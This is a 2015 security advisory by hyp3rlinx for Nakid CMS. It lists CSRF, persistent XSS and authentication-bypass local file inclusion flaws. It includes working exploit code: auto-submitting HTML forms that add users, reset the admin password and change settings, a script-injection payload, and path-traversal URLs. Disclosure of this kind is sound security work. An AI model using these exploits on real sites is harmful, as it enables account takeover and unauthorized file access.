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Nakid CMS CSRF / XSS / Local File Inclusion
`[+] Credits: John Page ( hyp3rlinx )
[+] Domains: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-NAKIDCMS0611.txt
Vendor:
================================
http://kilrizzy.github.io/Nakid-CMS/
Product:
================================
kilrizzy-Nakid-CMS-f274624
Nakid CMS is an open source content management system built using PHP and
CodeIgniter.
Setup mode:
==========
Under root dir for Nakid CMS we set to production mode instead of
development in index.php.
e.g. define('ENVIRONMENT', 'production');
Advisory Information:
================================================
CSRF, Persistent XSS & Auth bypass LFI
Vulnerability Details:
=====================
Multiple CSRF(s) exist:
We have ability to do the following as no CSRF tokens are present.
1-Change Admin password
2-Add arbitrary users to system
3-Alter system settings
XSS (persistent):
XSS parameter vulnerabilities exist for the following:
payloads will be stored in the MySQL database and activated when a victim
visits the vulnerable webpage.
XSS URL:
--------
http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/users
On the "Edit Record" pop up dialog box.
Vulnerable parameters:
---------------------
username
password
email
fname
lname
XSS URL:
--------
http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/settings
On the "Edit Record" pop up dialog box.
Vulnerable parameters:
---------------------
from_name
include_path
primary_email
from_email
XSS URL:
--------
http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/content_edit/1
Vulnerable parameter:
--------------------
title
Authentication bypass LFI:
Local file inclusion to bypass access controls and read aribitrary files
exist by setting '$url' PHP variable on following URL
index.php/connector$url
Exploit POC code(s):
====================
CSRF(s):
========
Condition:
Pursuade victim to visit our webpage or click our link, if they have a
session then we do our CSRF!.
1- Add arbitrary user to system
--------------------------------
<!DOCTYPE>
<html>
<head>
<script>
function doit(){
var e=document.getElementById('ruinurlife')
e.submit()
}
</script>
</head>
<body onLoad="doit()">
<form id="ruinurlife" action="
http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/grid/users"
method="post">
<input type="text" name="username" value="sum1" />
<input type="text" name="password" value="abc123" />
<input type="text" name="email" value="[email protected]"/>
<input type="text" name="fname" value="sum"/>
<input type="text" name="lname" value="1"/>
<input type="text" name="oper" value="add"/>
<input type="text" name="id" value="_empty"/>
</form>
</body>
</html>
2-Change Admin password
------------------------
<!DOCTYPE>
<html>
<head>
<script>
function doit(){
var e=document.getElementById('ruinurlife')
e.submit()
}
</script>
</head>
<body onLoad="doit()">
<form id="ruinurlife" action="
http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/profile"
method="post">
<input type="text" name="username" value="admin" />
<input type="text" name="password" value="xyz123" />
<input type="text" name="email" value="[email protected]"/>
<input type="text" name="fname" value="hyp3r"/>
<input type="text" name="lname" value="linx"/>
<input type="text" name="action" value="edit_profile"/>
<input type="text" name="submitbt" value="Save"/>
</form>
</body>
</html>
3-Alter system settings
-----------------------
<!DOCTYPE>
<html>
<head>
<script>
function doit(){
var e=document.getElementById('ruinurlife')
e.submit()
}
</script>
</head>
<body onLoad="doit()">
<form id="ruinurlife" action="
http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/grid/settings"
method="post">
<input type="text" name="value" value="[email protected]" />
<input type="text" name="oper" value="edit" />
<input type="text" name="id" value="1"/>
</form>
</body>
</html>
XSS persistent POC code:
=======================
Inject <script>alert(666)</script> into any of the following vulnerable
fields described above using POST method.
Need to highlight a row then click edit dialog box to edit settings.
e.g.
http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/settings
from_name <------- <script>alert(666)</script>
include_path
primary_email
from_email
Authorization bypass LFI:
========================
1- Logout, create a hell.txt file or whatever and put in 'htdocs' or web
root, then visit the URL (change to suit your environment).
2-
http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/connector$url=../../../../../../../hell.txt
OR try
http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/connector$url=../../../../../../xampp/phpinfo.php
Disclosure Timeline:
=========================================================
Vendor Notification: NA
June 11, 2015 : Public Disclosure
Severity Level:
=========================================================
High
Description:
==========================================================
Request Method(s): [+] GET & POST
Vulnerable Product: [+] kilrizzy-Nakid-CMS-f274624
Vulnerable Parameter(s): [+]
username
password
email
fname
lname
from_name
include_path
primary_email
from_email
title
connector$url
Affected Area(s): [+] /system/users
/system/profile
/system/content_edit/
===============================================================
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and prohibits any malicious use of all security related
information or exploits by the author or elsewhere.
(hyp3rlinx)
`
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12 Jun 2015 00:00Current
0.1Low risk
Vulners AI Score0.1